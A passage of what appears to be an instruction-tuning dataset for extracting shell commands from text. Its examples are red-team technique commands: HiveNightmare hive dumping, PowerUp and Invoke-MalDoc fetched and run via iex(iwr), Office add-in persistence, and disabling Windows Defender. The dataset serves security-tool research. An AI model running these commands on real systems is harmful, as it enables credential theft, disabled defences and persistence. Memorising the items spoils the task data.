\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To exploit the HiveNightmare vulnerability (CVE-2021-36934) and dump hives from volume shadow copies as a non-admin user, use the following command: for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex \"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%a\\Windows\\System32\\config\\#{target_hive}\" %temp%\\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\\#{target_hive}vss*; The vulnerability CVE-2021-36934 allows registry hive extraction via this command:\n1..#{limit} | % { \n try { [System.IO.File]::Copy(\"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy$_\\Windows\\System32\\config\\#{target_hive}\" , \"$env:TEMP\\#{target_hive}vss$_\", \"true\") } catch {}\n ls \"$env:TEMP\\#{target_hive}vss$_\" -ErrorAction Ignore\n}\n",
    "output": "{\"command_list\": [\"for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex \\\"\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy%a\\\\Windows\\\\System32\\\\config\\\\#{target_hive}\\\" %temp%\\\\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\\\\#{target_hive}vss*\\n\", \"1..#{limit} | % { \\n try { [System.IO.File]::Copy(\\\"\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy$_\\\\Windows\\\\System32\\\\config\\\\#{target_hive}\\\" , \\\"$env:TEMP\\\\#{target_hive}vss$_\\\", \\\"true\\\") } catch {}\\n ls \\\"$env:TEMP\\\\#{target_hive}vss$_\\\" -ErrorAction Ignore\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For capturing packets on specific ports, execute this command: pktmon.exe filter add -p 445; For packet capture over a short duration, execute this command: sudo #{program_path} -i #{ifname} -t 3",
    "output": "{\"command_list\": [\"pktmon.exe filter add -p 445\\n\", \"sudo #{program_path} -i #{ifname} -t 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script creates a persistent Word Add-in (WLL) that launches notepad on startup, demonstrated with the following command. Note it works on 32-bit Office 2016 but fails on Microsoft 365:\n$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\"))  \n{\n  Write-Host \"64-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"        \n}\nelse{\n  Write-Host \"32-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"; To create an Excel VBA Add-in file that runs automatically on startup, use the following command: Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\ExcelVBAaddin.xlam\" \"$env:APPDATA\\Microsoft\\Excel\\XLSTART\\notepad.xlam\"        \nStart-Process \"Excel\"",
    "output": "{\"command_list\": [\"$wdApp = New-Object -COMObject \\\"Word.Application\\\"\\nif(-not $wdApp.path.contains(\\\"Program Files (x86)\\\"))  \\n{\\n  Write-Host \\\"64-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\wordwll_x64.wll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Word\\\\Startup\\\\notepad.wll\\\"        \\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\wordwll_x86.wll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Word\\\\Startup\\\\notepad.wll\\\"\\n}\\nStop-Process -Name \\\"WinWord\\\" \\nStart-Process \\\"WinWord\\\"\\n\", \"Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\ExcelVBAaddin.xlam\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Excel\\\\XLSTART\\\\notepad.xlam\\\"        \\nStart-Process \\\"Excel\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Windows Defender ATP's scheduled scanning and components, adversaries often try running these commands as System (they'll fail as administrator), which can serve as an indicator of malicious activity. The following commands will display 'Access Denied' twice and show the WinDefend service status: sc stop WinDefend\nsc config WinDefend start=disabled\nsc query WinDefend; You can disable Windows Defender permanently by executing this command: Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1, which will render the protection settings inaccessible after a system reboot.",
    "output": "{\"command_list\": [\"sc stop WinDefend\\nsc config WinDefend start=disabled\\nsc query WinDefend\\n\", \"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" -Name DisableAntiSpyware -Value 1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For capturing 5 packets on the Ethernet interface, execute this command in the Windows command prompt: \"c:\\Program Files\\Wireshark\\tshark.exe\" -i #{interface} -c 5. Ensure Wireshark/Tshark is installed on the host first.; For capturing packets using Windows' built-in tool, execute this command to generate trace.etl and trace.cab files in your temp folder: netsh trace start capture=yes tracefile=%temp%\\trace.etl maxsize=10",
    "output": "{\"command_list\": [\"\\\"c:\\\\Program Files\\\\Wireshark\\\\tshark.exe\\\" -i #{interface} -c 5\\n\", \"netsh trace start capture=yes tracefile=%temp%\\\\trace.etl maxsize=10\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing calc.exe via a .bat script created in AppData through Microsoft Office, execute this PowerShell command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{bat_path}`\" For Output As #1`n   Write #1, `\"calc.exe`\"`n   Close #1`n   a = Shell(`\"cmd.exe /c #{bat_path} `\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\n; The module employs Google Chrome and ScriptControl to execute code, initiating a local webserver to distribute the payload. Headless Chrome accesses this server to download and run the script (defaulting to calc.exe), with the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1204.002\\src\\chromeexec-macrocode.txt\" -officeProduct \"Word\" -sub \"ExecChrome\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{bat_path}`\\\" For Output As #1`n   Write #1, `\\\"calc.exe`\\\"`n   Close #1`n   a = Shell(`\\\"cmd.exe /c #{bat_path} `\\\", vbNormalFocus)`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1204.002\\\\src\\\\chromeexec-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"ExecChrome\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
